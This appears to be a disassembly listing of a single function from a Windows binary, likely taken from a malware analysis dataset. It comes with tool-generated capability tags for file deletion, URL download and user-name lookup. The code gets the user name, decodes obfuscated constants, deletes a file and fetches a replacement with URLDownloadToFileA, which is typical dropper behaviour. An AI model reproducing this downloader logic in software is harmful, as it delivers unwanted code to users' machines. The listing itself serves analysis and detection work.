Function at 0x401fe0
Capabilities:
Delete file
Download url
Get session user name
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405e33
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x40a098
push 0x40a760
mov dword [ebp - 0xcc], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00401fb0
sub esp, 0xc
lea ecx, [ebp - 0xc0]
push 0x40a8ac
call fcn.00402550
lea ecx, [ebp - 0xc0]
mov dword [ebp - 4], 0
call fcn.00402540
test al, al
je 0x402072
mov edx, 0x40a760
call fcn.00404180
lea ecx, [ebp - 0xc0]
call fcn.00402460
call fcn.00401d30
movaps xmm0, xmmword [0x407440]
lea ecx, [ebp - 0x104]
sub esp, 0x18
mov dword [ebp - 0xf4], 0xd8cbcf99
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf0], 0xeedacadc
mov dword [ebp - 0xec], 0xc9ecef
push esp
mov byte [ebp - 0xe8], 1
call fcn.00402420
mov ecx, 0xe
call fcn.004015b0
add esp, 0x18
mov ecx, 0x40a894
call fcn.00403a50
push eax
lea ecx, [ebp - 0x100]
call fcn.00403af0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x100]
mov ebx, 1
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xcc], ebx
call fcn.00401660
test al, al
je 0x40214d
call fcn.00401690
test eax, eax
je 0x40214d
mov ecx, 0x40a87c
call fcn.00403a50
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403af0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xe4]
mov ebx, 3
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xcc], ebx
call fcn.00401660
mov byte [ebp - 0xc1], 1
test al, al
jne 0x402154
mov byte [ebp - 0xc1], 0
test bl, 2
je 0x40216d
and ebx, 0xfffffffd
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xc8], ebx
call fcn.00403a60
mov dword [ebp - 4], 0
test bl, 1
je 0x40218d
and ebx, 0xfffffffe
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xc8], ebx
call fcn.00403a60
cmp byte [ebp - 0xc1], 0
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
je 0x4021ea
sub esp, 0x18
mov dword [ebp - 0xdc], 0xd9f68bf2
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0xd8], 0xd4c0dadd
mov dword [ebp - 0xd4], 0xbed6c6d0
mov word [ebp - 0xd0], 0x100
push esp
call fcn.004023e0
mov ecx, 0xa
call fcn.004015b0
add esp, 0x18
jmp 0x402317
movaps xmm0, xmmword [0x4073f0]
lea ecx, [ebp - 0xe0]
sub esp, 0x18
mov byte [ebp - 0xd0], 1
movups xmmword [ebp - 0xe0], xmm0
push esp
call fcn.00402670
mov ecx, 0xa
call fcn.004015b0
add esp, 0x18
mov ecx, 0x40a87c
call fcn.00403a50
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403af0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xe4]
or ebx, 4
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xcc], ebx
call fcn.00401660
test al, al
je 0x40229e
mov ecx, 0x40a894
call fcn.00403a50
push eax
lea ecx, [ebp - 0x100]
call fcn.00403af0
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x100]
or ebx, 8
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xcc], ebx
call fcn.00401660
test al, al
je 0x40229e
call fcn.00401690
mov byte [ebp - 0xc1], 0
test eax, eax
jne 0x4022a5
mov byte [ebp - 0xc1], 1
test bl, 8
je 0x4022be
and ebx, 0xfffffff7
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xc8], ebx
call fcn.00403a60
mov dword [ebp - 4], 0
test bl, 4
je 0x4022de
and ebx, 0xfffffffb
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xc8], ebx
call fcn.00403a60
cmp byte [ebp - 0xc1], 0
je 0x402317
mov ecx, 0x40a87c
call fcn.00403a50
push eax
call esi
add esp, 4
mov ecx, 0x40a87c
call fcn.00403a50
mov ecx, 0x40a864
mov edx, eax
call fcn.00403a50
push 0
push 0
push edx
push eax
push 0
call edi
mov ecx, 0x40a87c
call fcn.00403a50
push eax
lea ecx, [ebp - 0x100]
call fcn.00403af0
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 5
call fcn.00401660
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0
mov bl, al
call fcn.00403a60
test bl, bl
mov ebx, dword [ebp - 0xc8]
je 0x40221b
movaps xmm0, xmmword [0x407460]
lea ecx, [ebp - 0xe4]
sub esp, 0x18
mov dword [ebp - 0xd4], 0xd9c3df97
movups xmmword [ebp - 0xe4], xmm0
mov word [ebp - 0xd0], 0x100
push esp
call fcn.004023a0
call fcn.00401b70
add esp, 0x18
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3